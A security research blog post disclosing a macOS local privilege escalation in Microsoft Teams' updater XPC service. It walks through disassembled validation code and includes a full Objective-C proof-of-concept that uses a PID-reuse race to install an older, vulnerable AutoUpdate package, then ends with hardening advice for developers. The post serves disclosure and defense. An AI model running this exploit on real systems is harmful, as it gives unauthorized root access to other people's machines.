Microsoft Teams for macOS Local Privilege Escalation

This blog post shares the details of a vulnerability Offensive Security discovered in the XPC service of Microsoft Teams. Although Microsoft secured these services reasonably well, we will see how small code mistakes can have serious impacts.

We reported the issue to MSRC, but unfortunately Microsoft decided that  “the finding is valid but does not meet our bar for immediate servicing.” While they have since hardened the XPC service, it remains exploitable.

Root cause of the Vulnerability

The vulnerability is the result of two distinct issues, which if combined, result in an exploitable scenario. They are: 

  1.   Insecure XPC connection validation
  2.   User control of the installation package and insufficient package signature validation

The XPC service is launched via the /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist file.

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>Label</key>

<string>com.microsoft.teams.TeamsUpdaterDaemon</string>

<key>MachServices</key>

<dict>

     <key>com.microsoft.teams.TeamsUpdaterDaemon</key>

     <true/>

</dict>

<key>Program</key>

<string>/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon</string>

</dict>

</plist>

Listing 1 – Microsoft Teams Updater launchd file

It contains a Mach service name, com.microsoft.teams.TeamsUpdaterDaemon with the executable path /Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon. This is a highly unusual location, as similar services are normally installed under the /Library/PrivilegedHelperTools/ directory.

If we open this binary file with Hopper (or any other disassembler), we can start our investigation with the shouldAcceptNewConnection: method. This method is normally responsible for controlling connection access to the XPC service.


/* @class ServiceDelegate */

-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {

r12 = [arg3 retain];

rdx = r12;

r14 = [self isValidConnection:rdx];

Listing 2 – The beginning of the shouldAcceptNewConnection: method

The shouldAcceptNewConnection: method accepts an NSXPCConnection object as its argument, which contains a reference to the connecting client. This argument is arg3 in this case, and is immediately passed into the isValidConnection: method which verifies the connecting client. Let’s analyze the isValidConnection: method in our disassembler.


-(char)isValidConnection:(void *)arg2 {

r13 = [arg2 retain];

rbx = [[Logger getInstance] retain];

[rbx logInfo:@"Validating connection"];

[rbx release];

rbx = [arg2 processIdentifier];

Listing 3 – The beginning of the isValidConnection: method

The isValidConnection: method will obtain the PID of the client that will be later used for validation. If the developers used the auditToken property instead of the PID, the XPC service would be able to validate that the connecting service is the expected one. However, because a PID can be reused or new processes can be spawned and inherit the PID of the parent, it is possible to bypass the validation.

The exact validation of the connection via the processIdentifier is complex and out of scope for this post. However, because it uses PID, we can always bypass the validation.

There is another issue that we can discover by reviewing the code signature of the main application:


% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app

Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams

Identifier=com.microsoft.teams

Format=app bundle with Mach-O thin (x86_64)

CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded

Signature size=9060

Timestamp=2020. Jun 4. 3:32:37

Info.plist entries=17

TeamIdentifier=UBF8T346G9

Runtime Version=10.12.0

Sealed Resources version=2 rules=13 files=128

Internal requirements count=1 size=180

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>com.apple.security.device.camera</key>

<true/>

<key>com.apple.security.device.audio-input</key>

<true/>

<key>com.apple.security.personal-information.location</key>

<true/>

<key>com.apple.security.automation.apple-events</key>

<true/>

<key>com.apple.security.cs.allow-jit</key>

<true/>

<key>com.apple.security.cs.allow-unsigned-executable-memory</key>

<true/>

<key>com.apple.security.cs.disable-library-validation</key>

<true/>

<key>com.apple.security.cs.disable-executable-page-protection</key>

<true/>

</dict>

</plist>

Listing 4 – Code signature of “Microsoft Teams.app”

Even if audit_token is used, the MS Teams application is vulnerable to a dylib proxying attack because the com.apple.security.cs.disable-library-validation entitlement is set to true. This would allow us to inject a dylib into the application, and impersonate it when connecting to the XPC service.

Although the app’s folder is only writable by the root user, and we can’t replace any dylib inside, a malicious actor can still copy it to another location (e.g.: /tmp/) and inject into the copied application.

We can see that there are a number of dylibs in the app’s folder that are candidates for hijacking.

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib

/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

Listing 5 – Dylibs in “Microsoft Teams.app”

Now that we’ve found various ways to talk to the service, we need to check if the XPC service offers any functionality that can be abused. Running class-dump against the service binary, /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon allows us to dump the methods of the service. After reviewing the output, we find TeamsUpdaterDaemonProtocol, which defines the methods that are callable through the XPC connection.

@protocol TeamsUpdaterDaemonProtocol

- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;

- (void)ping:(void (^)(void))arg1;

@end

Listing 6 – TeamsUpdaterDaemonProtocol definition

Let’s load installUpdateWithPackage:withPreferences:withReply: in Hopper and see what it does. It’s a rather lengthy function, but a snippet with the key parts is shown below.

1 -(void)installUpdateWithPackage:(void *)arg2 withPreferences:(void *)arg3 withReply:(void *)arg4 {
2 r13 = [arg2 retain];
3 (...)
4 var_278 = r13;
5 rcx = r13;
6 (...)
7 rbx = [[NSString stringWithFormat:@"inside installUpdateWithPackage. packagePath: %@", rcx] retain];
8 (...)
9 r15 = var_278;
10 (...)
11 rdx = r15;
12 if ([rax fileExistsAtPath:rdx] == 0x0) goto loc_100006043;
13 (...)
14 [Utility clearPkgsInAppSupport];
15 rax = [Utility copyPkgToAppSupport:r15];
16 (...)
17 r12 = rax;
18 if ([Utility lockPackage:r12] == 0x0) goto loc_100006350;
19 (...)
20 if ((r13)(r14, @selector(validatePackage:), r12) == 0x0) goto loc_10000653c;
21 (...)
22 rdx = r12;
23 (...)
24 (r13)(r14, @selector(installPackage:withPreferences:), rdx, rcx, 0x0);

Listing 7 – Key parts of installUpdateWithPackage:withPreferences:withReply:

The installUpdateWithPackage:withPreferences:withReply: method accepts a package path as an argument. The path is user controlled and can be anywhere on the file system. The method will check if the file exists (line 12) and if so, it will clean up the application support folder (line 14). Next, the method will invoke copyPkgToAppSupport: (line 15) to copy the package to the app support folder, where only the root user has access. It will lock the copied file (line 18) and validate it (line 20). This is important as after it has been copied, we no longer have control over the package.

Once the package has been copied, the following validatePackage: method will be called.

-(bool)validatePackage:(void *)arg2 {
(...)
r13 = [[NSTask alloc] init];
[r13 setLaunchPath:@"/usr/sbin/pkgutil"];
var_30 = r14;
rcx = r14;
rbx = [[NSArray arrayWithObjects:@"--check-signature"] retain];
[r13 setArguments:rbx];
[rbx release];
rbx = [[Logger getInstance] retain];
[rbx logInfo:@"launching pkgutil task"];
(...)
if (r15 != 0x0) {
rsi = @selector(logError:);
rdx = @"pkgutil verification failed";
(*_objc_msgSend)(rbx, rsi);
[rbx release];
rbx = 0x0;
r14 = var_30;
}
else {
[rbx logInfo:@"pkgutil verification passed. Checking certificate chain...", rcx, 0x0];
[rbx release];
r14 = var_30;
r15 = _FValidMicrosoftPackage([objc_retainAutorelease(r14) UTF8String], @selector(UTF8String));
(...)

Listing 8 – The validatePackage: method

The validatePackage: method will use pkgutil to check if the package is code signed. If so, it will call _FValidMicrosoftPackage.

int _FValidMicrosoftPackage(int arg0, int arg1) {
(...)
rbx = _FCertContainsIdentityForKey(r15, rsi, @"Microsoft Corporation");
r13 = **_kSecOIDOrganizationalUnitName;
r14 = _FCertContainsIdentityForKey(r15, r13, @"UBF8T346G9") & rbx;
rbx = **_kSecOIDX509V1IssuerName;
var_29 = _FCertContainsIdentityInOIDForKey(r15, rbx, var_58, @"Apple Inc.");
var_48 = rbx;
var_50 = r13;
rbx = _FCertContainsIdentityInOIDForKey(r15, rbx, r13, @"Apple Certification Authority") & var_29;
r13 = SecPolicyCreateBasicX509();
var_68 = r15;
if (r13 != 0x0) {
var_38 = 0x0;
rax = SecTrustCreateWithCertificates(r15, r13, &var_38);
r15 = 0x0;
if (rax == 0x0) {
r15 = 0x0;
if (0x0 != 0x0) {
var_29 = rbx;
SecTrustEvaluate(0x0, &var_74);
if (var_74 == 0x4) {
rax = SecTrustGetCertificateCount(0x0);
if (rax > 0x0) {
r15 = SecTrustGetCertificateAtIndex(0x0, rax - 0x1);
r15 = _FCertContainsIdentityInOIDForKey(r15, var_48, var_50, @"Apple Certification Authority") & _FCertContainsIdentityInOIDForKey(r15, var_48, var_58, @"Apple Inc.") & _FCertContainsIdentityForKey(r15, var_50, @"Apple Certification Authority");
(...)

Listing 9 – The _FValidMicrosoftPackage function

The _FValidMicrosoftPackage function is responsible for validating Microsoft’s signature. The verification is done correctly but critically, it does not prevent the installation of an older, vulnerable Microsoft application. A similar exploitation path with another Microsoft service using a vulnerable Silverlight installer has been discussed in the past: CVE-2018–8412: MS Office 2016 for Mac Privilege Escalation via a Legacy Package

In summary, we found that we can either perform a dylib hijacking or PID reuse attack to talk to the XPC service of MS Teams. The service exposes a function that allows us to install a custom Microsoft-signed installer package. While the signature verification is done correctly, this still allows us to install old Microsoft applications which may contain known vulnerabilities.

Exploitation of Microsoft Teams

In order to exploit the Teams application, we first need to connect to the XPC service. For this, we used the classic race condition PID reuse attack. Because each call to the XPC service will execute the clearPkgsInAppSupport: method, and the contents of the app support folder will be deleted, we only need to win the race condition once. If we were to win the race condition again, the files copied will be deleted, resulting in a failed exploit.

Once we can communicate with the XPC service, we will install Microsoft AutoUpdate (MAU) 4.20 which suffers from a local privilege escalation vulnerability. The CVE for this vulnerability is CVE-2020-0984, and more details are covered here.

Our exploit plan is as follows:

  1.   Talk to the XPC service via PID reuse attack
  2.   Install a vulnerable version of Microsoft AutoUpdate
  3.   Exploit the privilege escalation vulnerability (CVE-2020-0984) in the MAU XPC service

Before we run the exploit, we need to place the vulnerable MAU installer in the correct location. We will download the Microsoft_AutoUpdate_4.20.20020900_Updater.pkg package and place it in the /tmp/ directory. Then we can call the installUpdateWithPackage:withPreferences:withReply: method of the XPC service and perform a PID reuse attack.

The full proof of concept code can be found below.

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <signal.h>

@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end

int main(void) {

//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;

int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];

// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);

//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";

//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];

//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);

cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

Listing 10 – The full POC for MS Teams

We can compile this code with the following command:

gcc -framework Foundation msteamspid.m -o msteamspid

Listing 11 – Compile the MS Teams exploit

Once we run the exploit, we need to check whether the MAU package has been installed. As the exploit uses a race condition, we might need to run it multiple times. Depending on the speed of the machine, the RACE_COUNT variable might need to be adjusted.

Looking at the XPC service logs located at /Library/Logs/Microsoft/Teams/updater.log, the following entry should show up exactly once, otherwise the exploit will fail.

2020-07-05 15:35:28 [TeamsUpdaterDaemon] <727> -- Info -- Connection validated

Listing 12 – XPC client code verification failure in the logs

The entry shown in listing 12 indicates a successful client validation. As discussed earlier, multiple calls to installUpdateWithPackage:withPreferences:withReply: will result in the removal of the pkg file during the clearPkgsInAppSupport: call and the installation will fail.

Once we successfully exploit Microsoft Teams, we need to exploit the MAU application which was just installed via the XPC call. The MAU exploitation can be accomplished by injecting a dylib from an even older version of Microsoft AutoUpdate. The details of this exploit are beyond the scope of this post. The full details of the MAU exploit can be found here.

As we saw in this case, even a proper signature verification can lead to issues, as older code can still satisfy the requirements.

Advice for developers

We recommend the following practices to make a connection validation secure against similar attacks.

The client process verification in the shouldAcceptNewConnection: call should occur based on the audit_token and not the PID. The code signing validation of the client must ensure that it is dealing with a valid application from the expected organization. 

Additionally, the client must be hardened against injection attacks. This can be accomplished by compiling the client with a hardened runtime or with library validation. The client also must not have the com.apple.security.cs.disable-library-validation or com.apple.security.get-task-allow entitlements, since these would allow other processes to inject code into the app, resulting in malicious processes communicating with the XPC service.

Wrap up

In this post we discussed an XPC vulnerability in Microsoft Teams, which was due to the combination of two small issues in the XPC service. Eliminating one can prevent the exploit. 

The application is vulnerable to improper client verification in the XPC helper tool. Generally speaking, not securing this connection properly allows other applications to connect and call the methods exposed by the service. This often leads to privilege escalation scenarios, thus making this validation crucial from a security perspective.

Microsoft silently fixed the PID reuse issue, however the client application is still vulnerable for injection and someone could still talk to the XPC service. Exploiting this scenario remains an exercise to the reader.


About the Author

Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea.